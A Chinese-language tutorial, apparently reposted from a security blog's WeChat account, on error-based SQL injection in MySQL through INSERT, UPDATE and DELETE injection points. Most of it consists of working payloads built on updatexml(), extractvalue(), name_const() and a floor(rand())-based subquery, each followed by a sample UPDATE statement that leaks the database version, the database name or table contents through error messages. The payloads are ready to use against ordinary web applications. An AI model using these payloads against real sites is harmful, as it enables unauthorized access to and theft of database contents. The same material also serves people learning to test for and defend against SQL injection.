利用SQL注入获取数据库数据,利用的方法可以大致分为联合查询、报错、布尔盲注以及延时注入,通常这些方法都是基于select查询语句中的SQL注射点来实现的。那么,当我们发现了一个基于insert、update、delete语句的注射点时(比如有的网站会记录用户浏览记录,包括referer、client_ip、user-agent等,还有类似于用户注册、密码修改、信息删除等功能),还可以用如上方法获取我们需要的数据吗?在这里,我们以MYSQL的显错为例,看一下如何在insert、update、delete的注射点中获取我们想要的数据。
01
注入语法
因为我们这里是用的显错模式,所以思路就是在insert、update、delete语句中人为构造语法错误,利用如下语句:
insert into users (id, username, password) values (2,''inject here'','Olivia');
insert into users (id, username, password) values (2,""inject here"",'Olivia');
02
利用updatexml()获取数据
updatexml()函数是MYSQL对XML文档数据进行查询和修改的XPATH函数。
payload:
or updatexml(1,concat(0x7e,(version())),0) or
获取数据库版本信息
UPDATE users SET password='Nicky' or updatexml(2,concat(0x7e,(version())),0) or''WHERE id=2 and username='Olivia';
利用update获取users表的数据
03
利用extractvalue()获取数据
extractvalue()函数也是MYSQL对XML文档数据进行查询和修改的XPATH函数。
payload:
or extractvalue(1,concat(0x7e,database())) or
UPDATE users SET password='Nicky' or extractvalue(1,concat(0x7e,database())) or'' WHERE id=2 and username='Nervo';
可以用insert、update、delete语句获取到数据库表名、列名,但是不能用update获取当前表的数据。
04
利用name_const()获取数据
name_const()函数是MYSQL5.0.12版本加入的一个返回给定值的函数。当用来产生一个结果集合列时 , NAME_CONST() 促使该列使用给定名称。
Payload:
or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a) or
获取数据库版本信息
UPDATE users SET password='Nicky' or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a) or '' WHERE id=2 and username='Nervo';
05
利用子查询注入
原理与select查询时的显错注入一致。
查询数据库名
UPDATE users SET password='Nicky' or (SELECT 1 FROM(SELECT count(*),concat((SELECT(SELECT concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a)or'' WHERE id=2 and username='Nervo';
如有侵权,请联系删除。
扫码关注我们
查看更多精彩内容
原文始发于微信公众号(长风实验室):SQL注入 Update报错注入
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论